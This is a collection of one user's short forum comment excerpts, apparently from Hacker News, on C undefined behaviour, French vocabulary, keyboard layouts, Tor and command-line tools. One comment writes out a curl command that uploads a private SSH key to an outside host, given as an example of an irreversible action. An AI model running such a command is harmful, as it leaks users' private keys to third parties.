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by hnjst 5y ago
Thanks for the correction, I was indeed wrong (parts of my comments were based on true facts but parts were clearly wrong, which is harmful). Honest mistake, I'm glad you spotted it so that I avoid propagating it in the future. To be d
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by hnjst 5y ago
I'm also not aware of net neutrality being protected in Europe yet. I think I recall ongoing initiatives aiming at that but I'm pretty sure even these don't cover cellular data networks. I think that, for example, plans inclu
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by hnjst 5y ago
> Inferring any propositional statement about the program (eg "this pointer is not null") from the fact that its negation would imply undefined behaviour. I'm not completely sure I understand that correctly, but do you mea
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by hnjst 5y ago
I shouldn't start on these but I fail to resist, since you bring one of them on the discussion. This is one of numerous "faux-amis" that are so tricky for native French speakers. While "fameux" has the meaning an En
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by hnjst 5y ago
While the french equivalent "pénultième" is rarely heard and considered as pedantic, "antépénultième" is actually much more frequently used to avoid the ugly "avant-avant-dernier" (very really awesome).
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by hnjst 5y ago
"Lingua Franca" refers to an earlier period in history when French was the common language used across Europe, among the nobility in particular. You can read it as "common language for international communication" to und
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by hnjst 5y ago
I don't get what you or the comment you're responding to are wishing for. Do you want compilers to stop adding optimizations while staying within the bounds defined by the spec? That they somehow guess that a given piece of code t
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by hnjst 5y ago
As brilliantly said further in this thread by someone else, maybe check that something is OK before doing it. In that case, something like: [...] if (a > INT_MAX - 1) abort(); int b = a + 1; [...]
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by hnjst 5y ago
In the same vein I remember the first time I was able to use a phone to access "internet" from a computer. The "internet access" that the phone had to offer was called "WAP" and I was communicating with the pho
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by hnjst 5y ago
French speaking people pronounce it "libroffice". Lots of final "e" are silent in french.
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by hnjst 5y ago
There was another one in f-droid (or at least it was named differently at the time) that I had installed and running by curiosity a few years ago. I more or less forgot it until one day while I was driving on the highway and got forcibly di
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by hnjst 5y ago
I'd say that an important part of mathematics aims at understanding structures and relations between entities in order to avoid inefficient computations. Maybe a trivial example would be multiplication algorithms that allow to bypass c
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by hnjst 6y ago
I guess that can be tracked back to the use of fancy new buggy tools ;) bc <<< "0.1 + 0.2" .3 bc <<< "1.0E4096 +1 -1.0E4096" 1.000000 node -e "console.log(1.0E128 +1 -1.0E128)" 0 python -c &qu
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by hnjst 6y ago
Probably not through http://expyuzz4wqqyqhjn.onion/ ;)
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by hnjst 6y ago
> That's the right alt (not to be confused with the alt right). I laughed, thanks for that. > Can you type "ã" or "õ"? on OSX' Canadian English yes, AltGr+n followed by a/o. On the other hand, after
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by hnjst 6y ago
I couldn't agree more. The proposed setup also makes devices properly configured to leverage tor "anonymity" features vulnerable to misconfigurations of other devices using the network that is routed over tor (through the sam
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by hnjst 6y ago
After a short moment of outrage I saw the important and required notice not too deep in the project description: > [...] it is strongly advised not to use TorBox if your well-being depends on your anonymity. In such a situation, it is ad
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by hnjst 6y ago
I can't find any "AltGr dead keys" variant on the OSX I'm using at the moment, I'll check later on Linux. I don't have any keyboard with a key marked "AltGr" either btw :). However, the canadian engli
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by hnjst 6y ago
Your shell probably does though, at least for files and commands. Some like ZSH even have completions for common commands readily available, accept external completion plugins and let you write your own as a last resort.
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by hnjst 6y ago
> My practical advice: If you use git every day and you don't know how to rebase, reset, cherrypick, and stash from the command line, make it a goal. I couldn't agree more. It's not only enabling more sensible interactions
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by hnjst 6y ago
I don't know which language you're using but for french I migrated from "US International with dead keys" to "canadian english". I fill that, among other things, simple quotes are easier to type and consistency
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by hnjst 6y ago
Not sure it's comforting but after exposure to french and swiss keyboard layouts, the canadian one is for me a sweet spot. It's "almost standard qwerty" while allowing to write in french properly. "US International
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by hnjst 6y ago
I'm generally satisfied by ZSH inline options summary, but I'm happy to see a sane instantiation of this, it clearly fits a need. Thanks for the pointer (and sorry for the troll :/).
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by hnjst 6y ago
There are plenty of commands that essentially cannot be undone. Let's consider `curl --upload-file ~/.ssh/id_rsa https://dontworry.youllundothat.tk ` for example. Even when it's doable, some of us prefer to ri
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by hnjst 6y ago
That's supposing that said GUI are stable enough relatively to how often you use them. Beside that, it still entails that you've to "wire your brain" so that it integrate the twisted specific ways they map on "the r
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by hnjst 6y ago
Thankfully while computers are indeed picky about typos, they also gladly guess, complete and validate what you're trying to tell them if you ask politely (a.k.a. banging repeatedly on the tab key).
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by hnjst 6y ago
I guess you could consider https://github.com/tldr-pages/tldr . I personally wouldn't touch that, but that's related to my allergies to JS ecosystem and predisposition to panic attacks when I see stuff like th
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by hnjst 6y ago
Right. I probably picked one of the most flaky examples, sorry for that. Let's say `ls -lah` that (I hope...) is less ambiguous. In my defense, the specific example I gave is valid for both GNU and BSD versions of tar. If I understood
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by hnjst 6y ago
Cobra ( https://github.com/spf13/cobra ), which is a pretty popular library for Go CLI applications, behaves more like classical GNU tools. It also offers usage/help autogeneration and autocompletion for popular she
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by hnjst 6y ago
Your distilled summary of this form of objection relying on wishful thinking made my day, thanks a lot!

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